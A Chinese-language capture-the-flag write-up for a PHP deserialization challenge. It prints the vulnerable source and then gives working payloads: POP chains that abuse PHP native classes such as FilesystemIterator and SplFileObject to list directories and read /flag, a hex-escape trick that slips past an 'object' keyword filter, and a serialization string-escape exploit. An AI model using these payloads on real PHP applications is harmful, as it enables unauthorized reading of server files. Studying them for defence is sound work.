题目
<?php
error_reporting(0);
class catalogue{
public $class;
public $data;
public function __construct()
{
$this->class = "error";
$this->data = "hacker";
}
public function __destruct()
{
echo new $this->class($this->data);
}
}
class error{
public function __construct($OTL)
{
$this->OTL = $OTL;
echo ("hello ".$this->OTL);
}
}
class escape{
public $name = 'OTL';
public $phone = '123666';
public $email = 'sweet@OTL.com';
}
function abscond($string) {
$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
$filter = '/' . implode('|', $filter) . '/i';
return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
if(!preg_match('/object/i',$_GET['cata'])){
unserialize($_GET['cata']);
}
else{
$cc = new catalogue();
unserialize(serialize($cc));
}
if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
if (preg_match("/flag/i",$_POST['email'])){
die("nonono,you can not do that!");
}
$abscond = new escape();
$abscond->name = $_POST['name'];
$abscond->phone = $_POST['phone'];
$abscond->email = $_POST['email'];
$abscond = serialize($abscond);
$escape = get_object_vars(unserialize(abscond($abscond)));
if(is_array($escape['phone'])){
echo base64_encode(file_get_contents($escape['email']));
}
else{
echo "I'm sorry to tell you that you are wrong";
}
}
}
else{
highlight_file(__FILE__);
}
?>
非预期:
使用php原生类
重要代码:
if(!preg_match('/object/i',$_GET['cata'])){
unserialize($_GET['cata']);
}
else{
$cc = new catalogue();
unserialize(serialize($cc));
}
如果我们只get传参给cata而不post传参给name或phone或email,就只会执行这段代码;如果传入的cata中没有object字符串(不区分大小写),那么就会对我们传入的cata反序列化。
通过观察存在的类,发现catalogue类中
class catalogue{
public $class;
public $data;
public function __construct()
{
$this->class = "error";
$this->data = "hacker";
}
public function __destruct()
{
echo new $this->class($this->data);
}
}
有一个析构函数的类可以直接利用外,没有其他可以使用。通过观察catalogue类的析构函数,是new一个新类,然后进行echo的操作即调用这个类的__toString()方法。这里可以直接联想到原生类的利用中目录读取文件的类DirectoryIterator类、FilesystemIterator类以及GlobIterator类
构造POP链:
<?php
class catalogue{
public $class;
public $data;
public function __construct()
{
$this->class = "FilesystemIterator";
$this->data = "/";
}
}
$a=new catalogue();
echo serialize($a);
结果:
O:9:"catalogue":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"data";s:1:"/";}
payload:
?cata=O:9:"catalogue":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"data";s:1:"/";}
这里只能回显一个文件。
那么读取想要的文件就需要配合glob协议使用,通过 * 号来匹配想要的文件名,即glob支持像linux一样使用*号来作为通配符来匹配字符
构造POP链
<?php
class catalogue{
public $class;
public $data;
public function __construct()
{
$this->class = "FilesystemIterator";
$this->data = "glob:///*f*";
}
}
$a=new catalogue();
echo serialize($a);
结果:
O:9:"catalogue":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"data";s:11:"glob:///*f*";}
payload:
?cata=O:9:"catalogue":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"data";s:11:"glob:///*f*";}
就可以发现有一个flag文件
知道文件名了,那么怎么读取内容呢?
这里使用SplFileObject类读取flag文件的内容
构造POP链
<?php
class catalogue{
public $class;
public $data;
public function __construct()
{
$this->class = "SplFileObject";
$this->data = "/flag";
}
}
$a=new catalogue();
echo serialize($a);
结果:
O:9:"catalogue":2:{s:5:"class";s:13:"SplFileObject";s:4:"data";s:5:"/flag";}
但是因为对object有过滤,所以我们需要绕过。这里一个小知识:
当我们把s改成大写的S时候,字符串中的字符是可以使用反斜杠\加16进制替换的。大写O的16进制为4f,小写o的16进制为6f。大小写都可以绕过,因为php类名可以不区分大小写。
所以payload为:
?cata=O:9:"catalogue":2:{s:5:"class";S:13:"SplFile\4fbject";s:4:"data";s:5:"/flag";}
预期解:
字符串逃逸
payload:
?cata=CTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFhellohello";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}